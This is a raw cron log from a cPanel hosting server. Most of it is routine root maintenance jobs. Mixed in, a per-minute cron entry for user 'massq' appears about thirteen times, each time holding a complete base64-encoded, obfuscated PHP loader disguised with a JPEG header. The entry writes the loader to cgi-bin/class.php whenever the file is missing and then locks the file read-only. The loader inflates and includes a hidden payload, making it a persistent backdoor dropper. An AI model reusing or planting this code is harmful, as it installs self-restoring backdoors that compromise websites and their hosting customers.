Sep  5 03:02:01 server CROND[1314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:02:01 server CROND[1315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:03:01 server CROND[1778]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:03:01 server CROND[1779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:03:01 server CROND[1780]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:04:01 server CROND[2241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:04:01 server CROND[2242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:04:01 server CROND[2243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:05:01 server CROND[2616]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 03:05:01 server CROND[2619]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 03:05:01 server CROND[2630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:05:01 server CROND[2635]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 03:05:01 server CROND[2636]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:05:01 server CROND[2637]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:05:01 server CROND[2638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:05:01 server CROND[2639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:06:01 server CROND[3558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:06:01 server CROND[3560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:06:01 server CROND[3561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:07:01 server CROND[3940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:07:01 server CROND[3941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:07:01 server CROND[3942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:08:01 server CROND[4336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:08:01 server CROND[4337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:08:01 server CROND[4335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:09:01 server CROND[4836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:09:01 server CROND[4838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:09:01 server CROND[4839]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:09:01 server CROND[4837]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 03:10:01 server CROND[5229]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 03:10:01 server CROND[5232]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 03:10:01 server CROND[5233]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:10:01 server CROND[5236]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:10:01 server CROND[5243]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 03:10:01 server CROND[5240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:10:01 server CROND[5244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:10:01 server CROND[5250]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:11:01 server CROND[6076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:11:01 server CROND[6077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:11:01 server CROND[6078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:12:01 server CROND[6451]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 03:12:01 server CROND[6452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:12:01 server CROND[6454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:12:01 server CROND[6450]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:13:01 server CROND[6831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:13:01 server CROND[6832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:13:01 server CROND[6833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 03:14:01 server CROND[7436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
